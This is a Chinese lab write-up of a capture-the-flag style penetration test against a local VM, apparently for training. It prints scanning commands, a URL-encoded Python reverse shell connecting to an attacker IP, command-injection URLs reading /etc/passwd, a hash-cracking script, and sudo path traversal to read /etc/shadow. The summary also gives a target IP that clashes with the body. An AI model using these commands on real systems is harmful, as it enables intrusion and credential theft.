引言
在 Web 安全实践中,那些“看似安全”的系统设计,往往比存在明显漏洞的实现更具威胁。今天攻打的靶机就有这个问题,该系统虽然采用了 PDO 预处理防御 SQL 注入,并引入了基于时间戳的动态加盐机制,但在代码审计的视角下,其逻辑层存在 严重的结构性缺陷。
信息收集
该靶机安装在我虚拟机上使用nat网络,因为我知道他的网段属于
172.16.197.0/24内,因此可以使用namp指令进行ping找出在172.16.197.0~172.16.197.255之间存在的主机
执行代码
#输入指令
nmap -sP 172.16.197.0/24
# -sP告诉nmap只进行主机扫描不进行端口扫描返回结果

发现了一个不包含本机的主机ip地址
172.16.197.162,对该ip地址进行深度扫描端口
#输入指令
nmap -sV -sC -p- -T4 172.16.197.162
#-sV 版本探测(Version Detection)
#-sC 调用脚本
#-p- 扫描所有端口(All Ports)
#-T4 设置扫描速度结果图:

得到信息:
(1)发现有个80端口上有个web应用Apache 2.4.62
(2)操作系统是CentOS(linux系统),访问这个页面
使用浏览器访问
172.16.197.162
结果图:

尝试注册,并能直接登录进去
结果图:

发现有三个功能,但只有网站测试功能能进入,其他两个功能并不能使用并,所以先试试看看网站Cookie有没有可以伪装成管理员的可能

发现管理员在这里做Session 安全加固——ID加固,放弃这种想法。
这时候试试使用gobuster指令执行Web网络目录和文件枚举通过“盲猜”(暴力破解)找出服务器上隐藏的、没有在页面链接中公开的文件和文件夹
#输入指令
gobuster dir -u http://172.16.197.162 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50
#使用gobuster dir(目录)模式
#-u:目标URL
#-w:字典路径
#-x:指定搜索拓展文件名
#-t:发送请求数结果图:

在 Gobuster 的扫描结果中,
/api/目录返回了 301 重定向状态码,这表明该目录是真实存在的,并且服务器主动将访问请求重定向到了自身
7.在浏览器上进行访问http://172.16.197.162/api/
结果图:

8.尝试点击了目录上的路径,发现mgmt_page进入新的界面
结果图

在这个系统维护入口页面:
密码验证逻辑:页面要求输入最多 5 位数字的维护密码。
通过查看 HTML 源码,发现验证逻辑直接写在了前端:它会将你输入的密码进行 MD5 哈希处理,然后和源码中硬编码的哈希值 96e44fa82e5a5263fb92337be422d3eb 进行比对。
命令执行漏洞:源码中还藏着一个后门逻辑:如果在请求参数中传入
cmd=指令的格式,系统会直接执行该指令并返回结果,这是一个典型的远程命令执行(RCE)漏洞,而非 LFI(文件包含漏洞)
结果图

复制这串哈希密文,使用md5解码工具翻译成密码:
SOUTH。做到这一步大概率拿完了并且已经知道这个系统有着文件包含的漏洞
文件包含
已经知道只有一个网站测试功能能够使用,这样是不是可以写一个Flask Web服务器 脚本。专门用来捕捉这个网站测试功能的包看看里面有什么:
Flask web脚本
from flask import Flask, request
app = Flask(__name__)
@app.before_request
def log_headers():
print("=== 请求头信息 ===")
for key, value in request.headers.items():
print(f"{key}: {value}")
print("================")
@app.route('/')
def index():
return "请求头已打印到控制台,请查看服务器日志"
app.run(host='0.0.0.0', port=80)
#执行脚本
python web-server.py 结果图

解码链接
结果图:
得到了一个用户和密码:fuli:wsGdwWQZTu7U4seseGaG

得到一个账户和密码试试登录其他两个功能,登录成功

在文件包含功能里面直接先使用以下的传参:
http://172.16.197.162/api/include.php?file=mgmt_page&password=SOUTH结果图

说明猜测成功一半,这时候使用cmd传参whoami
http://172.16.197.162/api/include.php?file=mgmt_page&password=SOUTH&cmd=whoami结果图

知道是CentOS(linux系统)所以看看用户情况
执行代码
http://172.16.197.162/api/include.php?file=mgmt_page&password=SOUTH&cmd=cat /etc/passwd结果图

解析:在目标系统的用户组里发现只有一个用户 benjamin。这意味着很可能这个Web服务的最高权限管理员密码,和系统用户 benjamin 的密码是一样的
漏洞利用
(1)通过命令执行漏洞让Web服务器通过一个反弹Shell反向连接我的服务器,从而控制服务器
执行代码
#输入指令
/api/include.php?file=mgmt_page&password=SOUTH&cmd=export%20RHOST=%22172.16.197.179%22;export%20RPORT=4444;python3%20-c%20%27import%20sys,socket,os,pty;s=socket.sock
et();s.connect((os.getenv(%22RHOST%22),int(os.getenv(%22RPORT%22))));[os.dup2(s.fileno(),fd)
%20for%20fd%20in%20(0,1,2)];pty.spawn(%22sh%22)%27
#export RHOST="172.16.197.179": 设置我的IP地址。
#export RPORT=4444: 设置攻击者监听的端口。
nc -lvnp 4444 #监听4444端口结果图

已成功控制目标服务器。
(2)基于当前服务环境为 Apache,可判断控制点位于 Web 根目录 /var/www/html 下的某一子目录中。经目录回溯,在其上级目录中发现 db.php 配置文件。查看该文件后,成功获取其中存储的数据库连接账号与密码

查看当前路径:
pwd再返回www目录上去成功发现有个flag1.txt文件

数据库进行信息收集
进行数据库连接,使用刚刚在db.php上获得的账号和密码
#输入指令
mysql -uroot -pbd6d6wEZdTr2QNkk.1结果图
成功登录数据库

在数据库内进行了系统性的信息检索。操作流程如下:首先列举所有可用数据库,随后进入目标数据库,进一步查看其中的数据表结构。最终,在相关表中成功提取到管理员账户的哈希密码及对应的时间戳记录
结果图

该数据库已经拿到了核心信息用户(admin)和用户的密码,该去查看Web应用如何搭建
#输入指令
cat /var/www/html/index.php结果图:

图解析:通过查看 index.php 源码,发现密码验证逻辑:密码哈希的计算方式是 md5(密码 + 时间戳)!
于是我们使用python脚本:
import hashlib
with open("/home/kali/php/rockyou.txt","rb") as f1:
dict=f1.read()
for i in dict.split(b"\n"):
if hashlib.md5(i+b"1753128055").hexdigest()=="9eaf9317aac50c955575334a93d0b09c":
print(i)
break
暴力破解成功,根据社会工程学合理猜测benjamin的密码也是chispa
登录benjamin以后再次进行信息收集,然后找到了flag2.txt

系统性地访问根目录,查找到下一个目标文件,但是没有权限

权限逃逸
查看benjamin的sudo权限,发现另外一个漏洞——权限逃逸

这个表明了如果执行了 : /bin/cat /root/notes/* 限定使用这个指令的时候,提权可以不使用密码并且是全用户都可以使用这个指令。执行一下这个指令

表明要么是该目录不存在,要么是这个目录存在但是为空,那说明这个命令是可以执行的,并且不使用密码,因此可以试试来查看passwd、shadow、flag3.txt这些文件
sudo /bin/cat /root/notes/../../etc/passwd
sudo /bin/cat /root/notes/../../etc/shadow
sudo /bin/cat /root/notes/../../flag3.txt返回结果
/etc/paswwd

返回结果
/etc/shadow

返回结果
/flag3.txt

总结
攻击过程概述
本次渗透测试成功地通过一系列漏洞利用实现了对目标系统的完全控制,最终获取了所有三个flag文件。攻击路径清晰地展示了从信息收集到权限提升的全过程。
主要发现的漏洞
1. 信息泄露漏洞
发现方式: 目录枚举(gobuster)
位置: /api/mgmt_page
影响: 暴露管理页面和MD5哈希密码(SOUTH)
2. 本地文件包含(LFI)漏洞
位置: /api/include.php文件
利用方式: file参数未做安全过滤
关键发现: 通过mgmt_page页面发现可通过cmd参数执行系统命令
3. 命令执行漏洞
位置: /api/include.php?file=mgmt_page&password=SOUTH&cmd=
利用: 通过构造恶意参数实现远程代码执行
后果: 成功获取反向shell,获得Web服务器访问权限
4. 敏感信息泄露
数据库凭证: 在上级目录发现db.php配置文件,泄露MySQL root用户凭证
会话信息: 通过Flask脚本捕获Authorization头,获取其他功能的登录凭证
5. 密码安全漏洞
加密算法缺陷: 使用MD5(时间戳+密码)的弱加密方式
盐值可预测: 使用时间戳作为盐值,可通过数据库记录的时间戳进行离线爆破
结果: 成功破解admin密码为”chispa”
6. 权限配置错误
sudo配置缺陷: benjamin用户可无密码执行/bin/cat /root/notes/*
路径遍历: 通过../../实现目录遍历,读取敏感文件
影响: 成功读取/etc/passwd、/etc/shadow和flag3.txt
攻击链梳理
信息收集 → 发现192.168.230.137的Web服务
目录枚举 → 发现/api/mgmt_page管理界面
信息泄露 → 获取管理密码(SOUTH)
LFI漏洞 → 发现命令执行功能
命令执行 → 建立反向shell控制服务器
凭证泄露 → 获取数据库root密码
密码破解 → 破解管理员密码”chispa”
权限提升 → 利用sudo配置缺陷读取root文件
免责声明
警告:本实验手册中的技术仅供安全研究和授权测试使用。未经授权在他人系统上使用这些技术属于违法行为,可能导致严重的法律后果。
请确保:
仅在自有系统或获得明确书面授权的系统上进行测试
了解并遵守所在地区的法律法规
负责任地使用所学知识,遵守职业道德规范